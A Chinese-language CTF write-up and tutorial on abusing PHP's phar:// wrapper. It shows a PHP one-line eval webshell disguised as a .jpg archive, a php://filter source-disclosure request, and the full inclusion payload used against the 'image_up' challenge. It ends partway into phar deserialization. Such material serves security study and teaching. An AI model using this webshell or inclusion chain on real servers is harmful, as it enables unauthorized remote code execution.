Phar的简述

翻译自手册：
phar是什么?Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此，phar归档提供了一种方法，可以将完整的PHP应用程序分发到单个文件中，并从该文件运行它，而不需要将其提取到磁盘。此外，PHP可以像执行任何其他文件一样轻松地执行phar归档，无论是在命令行上还是在web服务器上。

利用姿势一：绕过上传限制

例子

使用Phar://伪协议流可以Bypass一些上传的waf，大多数情况下和文件包含一起使用，就类似于我们的压缩包（其实就是一个压缩包），只不过我们换了一种方式去执行而已
写一段小代码测试一下：
test.php

<?php @eval($_POST["cmd"]);?>

然后将test.php压缩，将压缩文件改后缀为.jpg
index.php

<?php 
include('phar://./test.jpg/test.php');
?>

成功包含

例题：安恒11月月赛：image_up

信息收集：

http://101.71.29.5:10043/index.php?page=login
尝试伪协议读取一波源码

http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=

base64解码
index.php

<?php
  if(isset($_GET['page'])){
    if(!stristr($_GET['page'],"..")){
      $page = $_GET['page'].".php";
      include($page);
    }else{
      header("Location: index.php?page=login");
    }
  }else{
    header("Location: index.php?page=login");
  }

<?php
  if(isset($_POST['username'])&&isset($_POST['password'])){
    header("Location: index.php?page=upload");
    exit();
  }
?>

upload.php

<?php
    $error = "";
    $exts = array("jpg","png","gif","jpeg");
    if(!empty($_FILES["image"]))
    {
        $temp = explode(".", $_FILES["image"]["name"]);
        $extension = end($temp);
        if((@$_upfileS["image"]["size"] < 102400))
        {
            if(in_array($extension,$exts)){
              $path = "uploads/".md5($temp[0].time()).".".$extension;
              move_uploaded_file($_FILES["image"]["tmp_name"], $path);
              $error = "上传成功!";
            }
        else{
            $error = "上传失败！";
        }

        }else{
          $error = "文件过大，上传失败！";
        }
    }

?>

分析：

从upload.php可以看出只能上传（"jpg","png","gif","jpeg"）文件，而且再index.php中在包含的文件后面强行加了".php",直接包含图片文件明显不可以了，于是就用到了我们的Phar伪协议流，将我们的一句话木马打包成压缩包，然后再将后缀改为.jpg,这样就能通过Phar伪协议去包含我们的一句话木马了。
这题有一个坑点，就是时间戳的问题：

$path = "uploads/".md5($temp[0].time()).".".$extension;

这里要time()+8*3600，时区不同所以要加上8小时

payload：

/index.php?page=phar://./uploads/6b19a5399b7d34fbb3c509ca8c25fd89.jpg/1

菜刀连接即可getflag

利用姿势二：Phar反序列化漏洞

我们一般利用反序列漏洞，一般都是借助unserialize()函数，不过随着人们安全的意识的提高这种漏洞利用越来越来难了，但是在今年8月份的Blackhat2018大会上，来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式，利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时，会反序列化meta-data储存的信息。

Phar文件结构

Phar文件主要包含三至四个部分：

1. A stub

stub的基本结构：<?php HALT_COMPILER();，stub必须以HALT_COMPILER();来作为结束部分，否则Phar拓展将不会识别该文件。

2. a manifest describing the contents

Phar文件中被压缩的文件的一些信息，其中Meta-data部分的信息会以反序列化的形式储存，这里就是漏洞利用的关键点

3. the file contents

被压缩的文件内容，在没有特殊要求的情况下，这个被压缩的文件内容可以随便写的，因为我们利用这个漏洞主要是为了触发它的反序列化

4. a signature for verifying Phar integrity

签名格式

小测试

既然都知道Phar文件的基本结构了，那么我们就写一段代码来测试一下

登录并阅读全文